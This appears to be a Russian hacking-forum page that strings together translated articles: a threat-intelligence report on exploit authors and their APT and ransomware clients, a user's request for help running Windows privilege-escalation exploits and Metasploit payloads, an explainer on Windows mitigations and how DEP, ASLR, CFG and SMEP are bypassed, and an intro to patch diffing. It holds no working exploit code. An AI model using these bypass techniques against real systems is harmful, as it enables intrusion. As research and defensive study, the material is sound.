предыдущем выступлении Microsoft на VB от 2015 года.
Из-за этого повреждения памяти они могут вызвать несколько операций
чтения/записи памяти из/в память ядра, которая поможет во время эксплойта.
Подведение итогов
Хотя есть дополнительные аспекты, которые мы могли бы обсудить, такие как
различные системные вызовы, которые каждый субъект предпочитает использовать в
процессе эксплуатации, соглашения об именах для созданных объектов,
таких как Windows и ScrollBars, мы считаем, что приведенный выше список ясно
демонстрирует эффективность / валидность нашего подхода. Как видно из
приведенного выше списка, почти каждый аспект эксплойта может быть реализован
несколькими
способами. Тем не менее, оба наших cсубъекта были очень последовательны в
своих действиях по эксплуатации, каждый придерживался своего любимого пути.
Заказчики
На протяжении всего нашего исследовательского процесса мы хотели
сосредоточиться на самих авторах эксплойтов, будь то Володя, PlayBit или
другие. И все же мы думаем, что есть чему поучиться, глядя на клиентуру этих
авторов эксплойтов.
Список клиентов Володи разнообразен и включает авторов банковских троянцев,
таких как Ursnif, авторов программ-вымогателей, таких как GandCrab, Cerber и
Magniber, и APT-групп, таких как Turla, APT28 и Buhtrap (которые начинали с
киберпреступности,
а затем перешли в кибершпионаж. ). Интересно, что мы видим, что 0-day Володи с
большей вероятностью будут проданы APT-группам, в то время как 1-day будут
приобретены несколькими группами криминального ПО.
Без дополнительной информации мы можем только предположить, что как только
отрасль безопасности обнаружит 0-day, эксплойт будет переработан и продан по
более низкой цене как 1-day.
Все клиенты APT, Turla, APT28 и Buhtrap, обычно относятся к России, и
интересно обнаружить, что даже эти продвинутые группы покупают эксплойты, а не
разрабатывают их собственными силами. Это еще один момент,
который еще больше усиливает нашу гипотезу о том, что написанные эксплойты
можно рассматривать как отдельную и самостоятельную часть вредоносного ПО.
В следующей таблице приведены CVE, которые мы смогли приписать Володе, а также
клиенты или группы вредоносных программ, обнаруженные нами с помощью этих
эксплойтов. CVE, отмеченные синим цветом, относятся к нулевым дням и,
естественно, дороже. Выделенные слева группы считаются APT.
Они так быстро растут
Прежде чем рассматривать различные тенденции, которые мы отметили при изучении
образцов эксплойтов за определенный период времени, мы должны подчеркнуть, что
у нас ограниченная видимость, поскольку мы не можем обсуждать 0-days,
которые еще не были обнаружены. Кроме того, мы можем попытаться датировать
образцы только периодом до того, как они были пойманы, но печальная правда
заключается в том, что мы обычно в значительной степени привязаны к дате,
когда эксплойт был впервые обнаружен в дикой природе. Более того, нам важно
упомянуть, что с самого начала было ясно, что Володя уже был достаточно
профессионален при разработке первого эксплойта, который мы смогли приписать
им
CVE-2015-2546
. Например, у него был уникальный примитив произвольной записи,
который мы не могли отследить ни в одном другом учебнике по
эксплуатации/эксплойте.
В ходе анализа эксплойтов, а также анализа десятков собранных нами образцов
вредоносных программ мы заметили интересный сдвиг. В то время как ранние
эксплойты Володи продавались как исходный код для встраивания во вредоносное
ПО,
более поздние эксплойты продавались как внешняя утилита, принимающая
определенный API. Это изменение может свидетельствовать о том, что Володя
принимает дополнительные меры предосторожности.
В период с 2015 по 2019 год мы также заметили значительные улучшения
технических навыков Володи. По мере того, как он становилися лучше и опытнее,
Володя начал использовать более эффективные примитивы произвольного чтения и
записи,
и он даже исправил ошибку в этих примитивах между CVE-2015-2546 и
CVE-2016-0165 *. Более того, код эксплойтов стал более модульным, поскольку
большие функции были разделены на более мелкие подпрограммы. Кроме того, их
метод поиска и доступа
к определенным смещениям в различных структурах также был улучшен, а в
последних реализациях он стал более динамичным и безопасным, поскольку он
лучше обрабатывал изменения в дополнительных версиях Windows
Это не только показывает кривую обучения и развития нашего субъекта, но также
намекает на его навыки. Найти и надежно использовать уязвимости ядра Windows
на самом деле не так просто. Мы можем видеть для сравнения,
что PlayBit была очень активна на этом рынке в период с 2015 по 2018 год, и их
внимание было сосредоточено на продаже эксплойтов для 1-дневных уязвимостей,
одной из которых был 0-день Володи (CVE-2016- 7255).
Заключение
Наша методология исследования заключалась в том, чтобы определить
характеристики автора эксплойтов, а затем использовать эти свойства в качестве
уникальной охотничьей подписи. Мы дважды использовали эту технику при
отслеживании эскплойтов
Володи и PlayBit. Имея эти два успешных тестовых примера, мы считаем, что эту
методологию исследования можно использовать для выявления других авторов
эксплойтов. Мы рекомендуем другим исследователям опробовать предложенную нами
методику и
использовать ее в качестве дополнительного инструмента в своем арсенале.
В ходе этого исследования мы сосредоточили внимание на эксплойтах, которые
используются или встроены в различные семейства вредоносных программ, как в
APT-атаках, так и в массовых вредоносных программах (особенно в программах-
вымогателях).
Хотя они широко распространены, мы часто находили подробные отчеты о
вредоносных программах, в которых не упоминалось, что данное вредоносное ПО
также использует эксплойт для повышения своих привилегий.
Тот факт, что мы смогли многократно использовать нашу технику для отслеживания
16 эксплойтов Windows LPE, написанных и проданных двумя разными участниками,
был очень удивительным. Учитывая, что 15 из них относятся к периоду 2015–2019
годов,
можно предположить, что они составляют значительную долю рынка эксплойтов,
особенно для эксплойтов Windows LPE.
Наконец, невозможно определить общее количество уязвимостей нулевого дня ядра
Windows, которые активно используются в дикой природе. Национальные субъекты с
меньшей вероятностью будут пойманы, и поэтому сообщество информационной
безопасности не имеет четкой видимости их ящика с боеприпасами. Тем не менее,
мы все еще можем получить представление, глядя на обнаруженные эксплойты,
помня об этой предвзятости к выживанию. В прошлом году «Лаборатория
Касперского»
сообщила об одном субъекте, который распространил фреймворк эксплойтов,
который включает еще 3 0-day. Суммируя эти цифры, мы видим, что 8 из 15 0-day
эксплойтов, более половины «рыночной доли», приписываются только двум
участникам (!).
Это означает, что наша исследовательская техника потенциально может быть
использована для отслеживания многих участников видимого рынка, если не всех
из них.
**
От ТС**
Напоминаю что это перевод, оргинал - вот
тут
Как и обещал успел перевести до вторника. Спасибо**@** weaver за интересный
матерал, побольше бы такого. Самому было очень интересно переводить.
Если в тексте есть ошибки, пишите, исправлю по мере возможности. Текст
большой, мог что-нибудь упустить.
В статье Володя то он, то они. Это не ошибка перевода, в оргинале всё
точно также, авторы то имеют Володю в виду как человека, то как группу.
Перевод:
Azrv3l cпециально для xss.is
Уже несколько месяцев не могу понять, правильно ли я делаю то или иное. Находил десятки и сотни уязвимостей эскалации привилегий для винды, но не понимал, как запустить тот или иной эксплоит (демонстрации на видео или в виде текста или картинок или отсутствовали, или имелись, но в них не было того файла, который я искал). Подскажите, как мне работать с эксплойтами, может мне надо научиться компилировать их, или искать отдельные куски кода в интернете и собирать их, или делать собственные эксплойты с нуля, или мне сначала надо изучить парочку языков программирования или почитать литературу? С удовольствием жду ответов.
Кстати, работал с метасплоитом, подбирал различные модули и пэйлоады, умею загружать собственные модули, но не знаю, как доставить пэйлоад на основную машину. Пробовал вводить различные команды, устанавливать различные порты, но не получалось - эксплоит просто не работает, или метасплоит ругается на айпи, в результате шеллкод не запускается. Повторяюсь, я много различных эксплойтов перепробовал, но бесполезно - я или не знал, как доставить полезную нагрузку (если дело касается metasploit), или не знал, как воспользоваться самим эксплойтом. Некоторые эксплойты для эскалации на винде вообще блокировались самой виндой.
Опять же, повторяюсь, жду ответов.
Часть первая
Эксплойты повреждения памяти исторически были одним из самых сильных дополнений в инструментарии хорошей Red Team'ы. Они представляют собой легкую победу для атакующих инженеров безопасности, а также для противников, поскольку позволяют злоумышленнику выполнять полезные данные, не полагаясь на какое-либо взаимодействие с пользователем.
К счастью для защитников, но и к сожалению для исследователей и злоумышленников, эти типы эксплойтов становится все труднее выполнять, во многом благодаря широкому спектру средств защиты операционных систем, которые были реализованы непосредственно в системах, которые мы используем каждый день. Этот обширный аппарат смягчения последствий делает ранее тривиальную эксплуатацию дорогостоящей и сложной для более современного оборудования и программного обеспечения.
Эта статья состоит из двух частей, и она посвящена эволюции разработки эксплойтов и исследованию уязвимостей в системах Windows. Будут рассматриваться такие вопросы, как «Как это повлияет на картину будущих нарушений?» и «Стоит ли по-прежнему платить за разработку надежного, портативного и эффективного бинарного эксплойта?»
Как ты сюда попал?
С самого начала вычисления вызывали любопытство, что в конечном итоге привело
к обнаружению «компьютерной ошибки» или непреднамеренного поведения систем в
результате взаимодействия с пользователем. Это в свою очередь привело к
использованию этих ошибок злоумышленниками со злым умыслом и положило начало
эре бинарной эксплуатации. С тех пор ни исследователи безопасности, ни Red
Team, ни противники ни разу не оглядывались назад.
Начало бинарной эксплуатации привело к тому, что производители, в первую очередь [Microsoft](https://docs.microsoft.com/en-us/windows/security/threat- protection/microsoft-defender-atp/enable-exploit-protection) и Apple (с особым упоминанием grsecurity для Linux, возглавившая обязанности более двух десятилетий назад), препятствовали этим эксплойтам с помощью различных средств защиты. Эти средства защиты от эксплуатации, многие из которых включены по умолчанию, снизили воздействие современных средств эксплуатации.
Подобно массовому использованию Active Directory в корпоративных средах, которое заставило исследователей Red Team уделять большое внимание продуктам Microsoft, злоумышленники и исследователи сделали Windows центром внимания из- за ее широкого использования как в корпоративных, так и в не корпоративных средах. В результате эта статья будет ориентирована на Windows и будет сосредоточена как на пользовательском режиме, так и на смягчении последствий в режиме ядра.
Классы уязвимости: тогда и сейчас
Когда дело доходит до бинарной эксплуатации, исследователям и противникам
всегда приходилось отвечать на извечный вопрос: «Как можно выполнить код на
цели без какого-либо взаимодействия с пользователем?» Ответ пришел в виде
различных классов уязвимостей. Хотя это не исчерпывающий список, некоторые
общие уязвимости включают:
Мэтт Миллер из Microsoft выступил с докладом на BlueHat IL в 2019 году, в котором рассказал об основных классах уязвимостей с 2016 года: чтение за пределами диапазона, использование памяти после освобождения, путаница с типами данных и неинициализированное использование. Эти классы ошибок использовались и используются злоумышленниками и исследователями безопасности по сей день.
Также стоит отметить, что каждый из этих классов уязвимостей может находиться в пользовательском режиме, режиме ядра, а в наши дни и в гипервизоре. Исторически уязвимости пользовательского режима эксплуатировались удаленно или через обычные настольные приложения, такие как браузеры, офисные пакеты для повышения производительности и программы чтения PDF-файлов. Однако уязвимости режима ядра в основном используются локально - после получения доступа к системе для повышения привилегий. Часто такие уязвимости сочетаются с уязвимостью пользовательского режима, достигая того, что часто называют локальным удаленным доступом . Кроме того, существуют такие случаи, как [MS17-010 (обычно называемый EternalBlue)](https://docs.microsoft.com/en- us/security-updates/securitybulletins/2017/ms17-010) , [CVE-2019-0708 (обычно называемый BlueKeep)](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-0708) и [CVE-2020-0796 (обычно называемый SMBGhost),](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2020-0796) где возможно удаленное выполнение кода в ядре.
Из-за роста количества эксплойтов поставщики должны были предоставить какой-то способ предотвратить выполнение этих эксплойтов. Так родилась защита от эксплойтов.
Использование средств смягчения последствий: тогда и сейчас
В то время как исследователи безопасности и злоумышленники исторически имели
преимущество в использовании различных методов доставки полезной нагрузки
через уязвимости, поставщики постепенно начали выравнивать игровое поле,
внедряя различные меры защиты, в надежде полностью исключить классы ошибок или
нарушить общие методы эксплуатации. По крайней мере, есть надежда, что
смягчение последствий сделает эту технику слишком дорогостоящей или ненадежной
для массового использования, например для drive-by-download атак (эксплойтов-
китов).
Как определено здесь, средства защиты от эксплойтов прошли долгий путь с момента появления Windows. В первую очередь будут рассмотрены устаревшие меры по снижению рисков - начальные меры по снижению рисков, выпущенные в операционных системах Microsoft. Современные средства защиты, которые включают более распространенные и задокументированные инструменты предотвращения эксплойтов, будут вторым столпом, описанным в этой серии. И, наконец, меры по снижению рисков, которые менее документированы и не так широко применяются, - называемые здесь «современными» или передовыми средствами защиты - завершат серию.
Устаревшее решение №1: DEP, также известный как No-eXecute (NX)
Предотвращение выполнения данных (DEP), известное как No-eXecute (NX), было
одним из первых средств защиты, которое вынудило исследователей и противников
принять дополнительные методы эксплуатации. DEP предотвращает выполнение
произвольного кода в неисполняемых частях памяти. Он был представлен как в
пользовательском режиме, так и в режиме ядра с Windows XP SP2, но только для
кучи и стека пользовательского режима, а также для стека режима ядра плюс
выгружаемая память ядра ( выгружаемый пул ). Потребовалось гораздо больше
выпусков, вплоть до Windows 8, чтобы большая часть памяти кучи режима ядра,
включая резидентную память ( невыгружаемый пул ) стала неисполняемой. Хотя
это и считается «старым» средством защиты, оно остается тем, что должны
учитывать все исследователи уязвимостей и злоумышленники.
Реализация DEP в режиме ядра и в пользовательском режиме очень похожа в том смысле, что DEP применяется для каждой страницы памяти через запись в таблице страниц. Запись таблицы страниц, или PTE, относится к записи самого низкого уровня в структурах подкачки, используемых для трансляции виртуальной памяти. Элементы PTE на очень высоком уровне содержат биты, которые отвечают за обеспечение различных разрешений и свойств для заданного диапазона виртуальных адресов. Каждый фрагмент виртуальной памяти, называемый страницей (обычно 4 КБ), помечается как исполняемый или доступный для записи - но не как то и другое одновременно - через запись в таблице страниц в ядре.
Используя !address и !pte команды в WinDbg может обеспечить более полное представление о реализации DEP.
Рисунок 1: Стек пользовательского режима имеет разрешения только на
чтение\запись с включенным DEP
Рисунок 2: При включенном DEP адрес пользовательского режима 00007ffe`54a40000
не имеет установленного управляющего бита исполняемого PTE.
До того, как DEP в режиме ядра был расширен для покрытия резидентной кучи ядра в операционных системах Windows, PTE для таких распределений были помечены как RWX, а тип памяти NonPagedPool режима ядра был исполняемым и доступным для записи. Резидентная память относится к тому факту, что память, принадлежащая этому типу распределения, никогда не будет «выгружаться» из памяти, что означает, что этот тип виртуальной памяти всегда будет отображаться на действительный физический адрес.
С выпуском Windows 8 NonPagedPoolNx пул стал кучей режима ядра по умолчанию для распределения резидентной памяти. Это захватывает все свойства NonPagedPool, но делает его неисполняемым. Так же, как и для адресов пользовательского режима, исполняемый бит обеспечивается записью в таблице страниц виртуального адреса режима ядра.
Рисунок 3: При включенном DEP в режиме ядра в статической структуре режима
ядра KUSER_SHARED_DATA не установлен бит управления исполняемым PTE
DEP в пользовательском режиме можно обойти с помощью обычных методов эксплуатации, таких как, программирование ориентированное на возврат (ROP), программирование ориентированное на вызов (COP), и программирование ориентированное на переход (JOP). Эти методы «кода повторного использования» используется для динамического вызова функций Windows API , таких как VirtualProtect() или WriteProcessMemory() к разрешениям изменения страниц памяти до RWX или записи шеллкода к уже существующей исполняемой области памяти с использованием указателей из разных модулей, загруженных во время выполнения. Помимо изменения прав доступа к памяти, также можно использоватьVirtualAlloc() или аналогичные процедуры для выделения исполняемой памяти.
DEP в режиме ядра можно обойти с помощью произвольного примитива чтения/записи для извлечения управляющих битов записи в таблице страниц для конкретной страницы в памяти и изменения их, чтобы разрешить доступ как для записи, так и для выполнения. Его также можно обойти, перенаправив поток выполнения в память пользовательского режима, которая уже была помечена как RWX, поскольку по умолчанию код режима ядра может вызывать код пользовательского режима по желанию.
Устаревшее средство смягчения последствий # 2: ASLR / kASLR
С добавлением DEP исследователи уязвимостей и злоумышленники быстро внедрили
методы повторного использования кода. Реализация рандомизации адресного
пространства (ASLR) и рандомизации адресного пространства ядра (KASLR) сделала
эксплуатацию менее простой.
ASLR и его реализация режима ядра KASLR рандомизируют базовые адреса различных библиотек DLL, модулей и структур. Например, эта конкретная версия Windows 10 загружает ядро перед перезагрузкой по адресу виртуальной памяти fffff800`0fe00000.
Рисунок 4: Базовый адрес ntoskrnl.exe до перезагрузки
После перезагрузки ядро загружается по другому виртуальному адресуfffff800`07000000.
Рисунок 5: Базовый адрес ntoskrnl.exe после перезагрузки
Исторически до реализации ASLR победить DEP было столь же тривиально, как дизассемблирование приложения или DLL сырых ассемблерных инструкций и использование указателей на эти инструкции, которые были статическими до ASLR, для обхода DEP. Однако при реализации ASLR обычно требуется одно из трех действий:
В современной среде эксплуатации уязвимости утечки информации являются стандартом для обхода ASLR. В зависимости от различных обстоятельств утечка информации может быть классифицирована как еще одна уязвимость нулевого дня в дополнение к примитиву повреждения памяти. Это означает, что для современных эксплойтов может потребоваться две уязвимости нулевого дня.
Поскольку Windows выполняет ASLR только для каждой загрузки, все процессы используют одну и ту же структуру адресного пространства после запуска системы. Следовательно, ASLR неэффективен против локального злоумышленника, который уже выполнил код. Точно так же, поскольку ядро предоставляет непривилегированным пользователям API-интерфейсы самоанализа, которые предоставляют адреса памяти ядра, KASLR также не эффективен против этого класса атак. По этой причине ASLR и KASLR в Windows являются только эффективными средствами защиты от векторов удаленной эксплуатации.
Однако с появлением локального удаленного доступа было признано, что KASLR был неэффективен против удаленных злоумышленников, которые сначала достигли пользовательского RCE, потому что, как уже упоминалось, определенные функции Windows API, такие как EnumDeviceDrivers() или NtQuerySystemInformation(), могут использоваться для перечисления базовых адресов всех загруженных модулей ядра.
Поскольку локальный удаленный злоумышленник сначала начал бы с RCE пользовательского режима, нацеленного на браузер и т. д., Microsoft начала усиленно обеспечивать выполнение таких приложений в изолированной среде и ввела [обязательный контроль целостности](https://docs.microsoft.com/en- us/windows/win32/secauthz/mandatory-integrity-control) (MIC), а затем AppContainer, как способ снизить привилегии этих приложений, в том числе благодаря их запуску с низким уровнем целостности. Затем в Windows 8.1 был заблокировал доступ к таким интроспективным функциям API для процессов среднего уровня целостности и выше.
Следовательно, процесс с низким уровнем целостности, такой как песочница браузера, потребует уязвимости утечки информации, чтобы обойти KASLR.
Рисунок 6: Вызов EnumDeviceDrivers() заблокирован из-за низкой целостности
Несколько других примитивов утечки базового адреса ядра были смягчены в различных сборках Windows 10. Примечательно, что куча уровня аппаратной абстракции (HAL), которая содержит несколько указателей на ядро, также была расположена в фиксированном месте. Это было связано с тем, что куча HAL необходима на очень ранней стадии процесса загрузки, даже до того, как будет инициализирован фактический менеджер памяти Windows. В то время лучшим решением было зарезервировать память для кучи HAL в идеально фиксированном месте. Это было смягчено с помощью сборки Windows 10 Creators Update (RS2).
Несмотря на то, что ASLR почти так же стар, как DEP, и оба они являются одними из первых реализованных средств защиты, их необходимо учитывать при современной эксплуатации.
Современное смягчение последствий # 1: CFG / kCFG
Control Flow Guard (CFG) и его реализация в ядре, известная как kCFG, является
версией Microsoft Control Flow Integrity (CFI). CFG работает, выполняя
проверки косвенных вызовов функций, сделанных внутри модулей и приложений,
скомпилированных с помощью CFG. Кроме того, ядро Windows было скомпилировано с
помощью kCFG, начиная с выпуска Windows 10 1703 (RS2). Обратите внимание,
однако, что для включения kCFG необходимо включить VBS (безопасность на основе
виртуализации). VBS будет обсуждаться более подробно во второй части этой
статьи.
С учетом эффективности для пользователей косвенные вызовы, защищенные CFG, проверяются с использованием битовой карты с набором битов, указывающих, является ли цель «действительной» или если цель «недействительная». Цель считается «действительной», если она представляет собой начальное положение функции в модуле, загруженном в процесс. Это означает, что битовая карта представляет все адресное пространство процесса. Каждый модуль, скомпилированный с помощью CFG, имеет свой собственный набор битов в битовой карте, в зависимости от того, где он был загружен в память. Как описано в разделе ASLR, Windows рандомизирует адресное пространство только при загрузке, поэтому этот битовый массив обычно используется всеми процессами, что позволяет сэкономить значительный объем памяти.
Как правило, на очень высоком уровне косвенные вызовы функций пользовательского режима передаются guard_check_icall функции (или guard_dispatch_icall в других случаях). Затем эта функция разыменовывает функцию _guard_check_icall_fptr и выполняет переход к указателю, который является указателем на функцию LdrpValidateUserCallTargetES (или LdrpValidateUserCallTarget в других случаях).
Рисунок 7: Реализация CFG в пользовательском режиме
Выполняется серия побитовых операций и ассемблерных функций, что приводит к проверке растрового изображения, чтобы определить, является ли функция в косвенном вызове функции допустимой функцией внутри растрового изображения. Неверная функция приведет к завершению процесса.
kCFG имеет очень похожую реализацию, в которой косвенные вызовы функций проверяются kCFG. В частности, это «ломает» [nt!HalDispatchTable+0x8] примитив, который злоумышленники и исследователи использовали для выполнения кода в контексте ядра путем вызова nt!KeQueryIntervalProfile, который выполняет косвенный вызов функции в [nt!HalDispatchTable+0x8] 64-битных системах.
Рисунок 8: [nt!HalDispatchTable+0x8] теперь охраняется kCFG через
nt!KeQueryIntervalProfile косвенный вызов
kCFG использует немного другую модификацию CFG, в которой битовая карта хранится внутри переменной nt!guard_icall_bitmap. Кроме того, nt!_guard_dispatch_icall запускает процедуру проверки цели, и никаких других вызовов функций не требуется.
Рисунок 9: Реализация kCFG
CFG смягчает тот факт, что в какой-то момент жизненного цикла разработки эксплойта может потребоваться перезапись указателя функции, чтобы он указывал на другой указатель на функцию, который может быть полезен противнику (например, VirtualProtect ).
CFG - это первое преимущество по снижения CFI. Это означает, что он не принимает во внимание инструкции ret , что является случаем обратного преимущества. Поскольку CFG не проверяет адреса возврата, CFG можно обойти, используя утечку информации, что может позволить действие, такое как синтаксический анализ блока среды потока (TEB), для утечки стека. Используя это знание, можно будет перезаписать адрес возврата функции в стеке со злым умыслом.
Со временем было обнаружено, что CFG имеет несколько недостатков. Например, обратите внимание, что модули используют таблицу адресов импорта (IAT) для импорта, например, функции Windows API. Эти таблицы IAT по сути являются виртуальными адресами в определенном модуле, которые указывают на функции Windows API.
Рисунок 10: IAT edgehtml.dll
IAT по умолчанию доступен только для чтения и, как правило, не может быть изменен. Microsoft считает эти функции «безопасными» из-за их состояния только для чтения, что означает, что CFG / kCFG не защищает эти функции. Если бы злоумышленник мог изменить или добавить вредоносную запись в IAT, можно было бы вызвать определяемый пользователем указатель.
Кроме того, злоумышленники могут использовать дополнительные функции ОС для выполнения кода. В соответствии с проектом, CFG / kCFG проверяет только если функция начинается в месте , обозначенном растрового изображения - не то, что функция является то , что она претендует быть. Если злоумышленник или исследователь смог найти дополнительные функции, отмеченные как действительные в битовой карте CFG / kCFG, то можно будет перезаписать указатель функции указателем другой функции на выполнение «прокси» кода. Это может привести например к атаке с использованием путаницы типов данных, когда другая, неожиданная функция теперь выполняется с параметрами/объектами исходной ожидаемой функции.
Как упоминалось ранее, kCFG включается только тогда, когда включен VBS. Одна интересная характеристика kCFG заключается в том, что даже когда VBS не включен, функции и процедуры диспетчеризации kCFG все еще присутствуют, и вызовы функций по-прежнему проходят через них. С включенным VBS или без него kCFG выполняет поразрядную проверку «старших» битов виртуального адреса, чтобы определить, является ли адрес расширенным по знаку (также известный как адрес режима ядра). Если адрес пользовательского режима обнаружен, независимо от того, включен ли HVCI, kCFG вызовет проверку на наличие ошибок KERNEL_SECURITY_CHECK_FAILURE. Это одно из средств защиты от принуждения кода режима ядра к вызову кода пользовательского режима, который, как мы видели, является потенциальным методом обхода DEP. В следующем разделе мы поговорим о предотвращении выполнения в режиме супервизора (SMEP), которое также является современным средством защиты от этой атаки.
Также стоит отметить, что растровое изображение kCFG защищено HVCI или целостностью кода, защищенной гипервизором. О HVCI будет упоминаться во второй части этой статьи.
Современное смягчение последствий # 2: SMEP
Предотвращение выполнения в режиме супервизора - это аппаратное средство
защиты ЦП, которое было реализовано специально против эксплойтов ядра.
Когда он NonPagedPoolNx был представлен, исследователи и злоумышленники больше не могли писать шелл-код непосредственно в режим ядра и выполнять его. Это привело к мысли, что такую функцию Windows API VirtualAlloc() можно использовать для выделения шелл-кода в пользовательском режиме, а затем передать возвращенный указатель на шелл-код обратно в режим ядра. Затем ядро будет выполнять код пользовательского режима «в контексте» ядра, что означает, что шелл-код будет работать с полными привилегиями ядра.
SMEP работает для смягчения этой атаки, запрещая выполнение кода пользовательского режима из ядра. В частности, процессоры на базе x86 имеют внутреннее состояние, известное как уровень привилегий кода (CPL). Эти процессоры имеют четыре разных CPL, известных как кольца. Windows использует только два из этих колец: кольцо 3, относящееся ко всему, что находится в пользовательском режиме, и кольцо 0, которое относится ко всему, что находится в режиме ядра. SMEP запрещает выполнение кода, принадлежащего CPL 3, в контексте CPL 0.
SMEP включается через 20-й бит регистра управления CR4. Регистр управления - это регистр, используемый для изменения или включения определенных функций ЦП, таких как реализация виртуальной памяти посредством подкачки страниц и т. д. Хотя SMEP включается через 20-й бит регистра CR4, он затем принудительно применяется через PTE адрес памяти. Принуждение SMEP работает путем проверки бита User vs. Supervisor(U/S) PTE на наличие любой структуры подкачки. Если бит установлен в значение U(ser), страница рассматривается как страница пользовательского режима. Если бит очищен, то есть бит представлен как S(upervisor), страница обрабатывается как страница супервизора (режим ядра).
Как объяснил Алекс Ионеску на Infiltrate 2015 , если только одна из записей подкачки установлена на «S» - SMEP не вызовет сбоя. Эта реализация важна, поскольку SMEP можно обойти, «обманом» заставив ЦП выполнить шелл-код из пользовательского режима с помощью произвольной записи.
Во-первых, найти PTE для распределения в пользовательском режиме, а затем снимите U/S немного , чтобы заставить его быть установлен в положение S . Когда это происходит, ЦП будет рассматривать этот адрес пользовательского режима как страницу режима ядра, позволяя выполнить выполнение.
Рисунок 11: Использование произвольной уязвимости записи для сброса U/S бита,
в результате чего страница пользовательского режима становится страницей
режима ядра
Более старый метод обхода SMEP заключается в его отключении в масштабе всей системы за счет использования ROP. Злоумышленник может использовать гаджет ROP в режиме ядра, найдя тот, который позволяет переопределить значение регистра CR4 на значение с очищенным 20-м битом, что включает SMEP, обратно в регистр CR4.
Обратной стороной этого метода является то, что вы должны использовать гаджеты ROP в режиме ядра, чтобы поддерживать выполнение в ядре, чтобы соответствовать правилам SMEP. Кроме того, как и во всех атаках с повторным использованием кода, смещение между гаджетами может меняться в зависимости от версии Windows, и для работы ROP необходимо управление стеком . Защита под названием HyperGuard, которая выходит за рамки этоой статьи, также защищает от модификации CR4 в современных системах.
Рисунок 12: Полное отключение SMEP в масштабе всей системы с помощью
манипуляции с CR4
kd > bp nt! часть_2
В этом статье были пересмотрены устаревшие средства защиты, а также
современные средства защиты, такие как CFG и SMEP, которые направлены на то,
чтобы бросить вызов исследователям уязвимостей и поднять планку и качество
эксплойтов. Эти темы создают основу для более современных средств защиты,
таких как ACG, XFG, CET и VBS, которые добавляют сложности - увеличивают
воздействие эксплуатации и побуждают читателей стать более любознательными в
отношении окупаемости инвестиций в разработку современных эксплойтов. В
следующей части мы обсуждим более современные способы эксплуатации и множество
средств защиты, разработанных Microsoft для борьбы с ними.
Источник: <https://www.crowdstrike.com/blog/state-of-exploit-development- part-1/>
В ответ на прибыльный рост исследований уязвимостей уровень интереса к двоичному анализу исправленных уязвимостей продолжает расти. Раскрытые в частном порядке и обнаруженные внутри уязвимости обычно предлагают ограниченные технические детали. Процесс бинарного поиска можно сравнить с поиском сокровищ, где исследователям предоставляется ограниченная информация о местонахождении и подробностях уязвимости или "захороненного сокровища". При наличии соответствующих навыков и инструментов исследователь может найти и идентифицировать изменения кода, а затем разработать рабочий эксплоит.
В этой главе мы рассмотрим следующие темы
- Приложение и сравнение патча
- Бинарные инструменты для сравнения
- Процесс управления патчами
- Real-world сравненияClick to expand...
Введение в двоичное сравнение
Когда вносятся изменения в скомпилированный код, такой как библиотеки, приложения и драйверы, различие между пропатченной и непроченной версиями может дать возможность обнаружить уязвимости. На самом базовом уровне двоичное сравнение - это процесс определения различий между двумя версиями одного и того же файла. Возможно, наиболее распространенной целью двоичных сравнений являются исправления Microsoft; однако это может быть применено ко многим различным типам скомпилированного кода. Доступны различные инструменты для упрощения процесса бинарного сравнения, что позволяет эксперту быстро определять изменения кода в представлении дизассемблирования.
Application Diffing
Новые версии приложений обычно выпускаются. Обоснование выпуска может включать в себя введение новых функций, изменения кода для поддержки новых платформ или версий ядра, использование новых элементов управления безопасностью во время компиляции, таких как canaries, и устранение уязвимостей. Часто новая версия может включать в себя комбинацию вышеупомянутых рассуждений. Чем больше изменений в коде приложения, тем сложнее будет выявить какие-либо исправленные уязвимости. Большая часть успеха в выявлении изменений кода, связанных с исправлениями уязвимостей, зависит от ограниченного раскрытия. Многие организации предпочитают предоставлять минимальную информацию о природе патча безопасности. Чем больше улик мы можем получить из этой информации, тем больше у нас шансов обнаружить уязвимость. Эти типы подсказок будут показаны в реальных сценариях позже в этой главе.
Простой пример фрагмента кода C, который включает уязвимость, показан здесь:
C:Copy to clipboard
/* Unpatched code that includes the unsafe gets() function. */
int get_Name(){
char name[20];
printf("\nPlease state your name: ");
gets(name);
printf("\nYour name is %s.\n\n", name);
return 0;
}
И вот исправленный код:
C:Copy to clipboard
/* Patched code that includes the safer fgets() function. */
int get_Name(){
char name[20];
printf("\nPlease state your name: ");
fgets(name, sizeof(name), stdin);
printf("\nYour name is %s.\n\n", name);
return 0;
}
Проблема с первым фрагментом кода заключается в использовании функции gets(), которая не предлагает проверки границ, что приводит к возможности переполнения буфера. В исправленном коде используется функция fgets(), которая требует аргумента размера, что помогает предотвратить переполнение буфера. Функция fgets() считается устаревшей и, вероятно, не лучшим выбором из-за невозможности правильно обрабатывать нулевые байты, например, в двоичных данных; тем не менее, это лучший выбор, чем gets(). Мы рассмотрим этот простой пример позже с помощью бинарного инструмента для получения различий.
Patch Diffing
Исправления безопасности, от Microsoft и Oracle, являются одной из самых прибыльных целей для двоичного сравнения. У Microsoft хорошо спланированный процесс управления исправлениями, который следует ежемесячному графику, когда исправления выпускаются во второй вторник каждого месяца. Исправленные файлы чаще всего представляют собой библиотеки динамических ссылок (DLL) и файлы драйверов. Многие организации не исправляют свои системы быстро, предоставляя злоумышленникам и пентестерам возможность скомпрометировать эти системы с помощью публично раскрытых или разработанных в частном порядке эксплоитов с помощью сравнения пата. В зависимости от сложности исправленной уязвимости и сложности поиска соответствующего кода, иногда можно быстро разработать рабочий эксплоит в течение нескольких дней после выпуска исправления. Эксплоиты, разработанные после обратных исправлений безопасности, обычно называют 1-day эксплоитами.
По мере продвижения по этой главе вы быстро увидите преимущества распространения изменений кода в драйверах, библиотеках и приложениях. Несмотря на то, что это не новая дисциплина, бинарное сравнение продолжает привлекать внимание исследователей, хакеров и поставщиков безопасности как эффективный метод выявления уязвимостей и получения прибыли. Ценник на 1-dayэксплойт не так высок, как на 0-day эксплойт; тем не менее, нередко можно видеть пятизначные выплаты за весьма востребованные эксплоиты.
Инструменты для бинарного сравнения
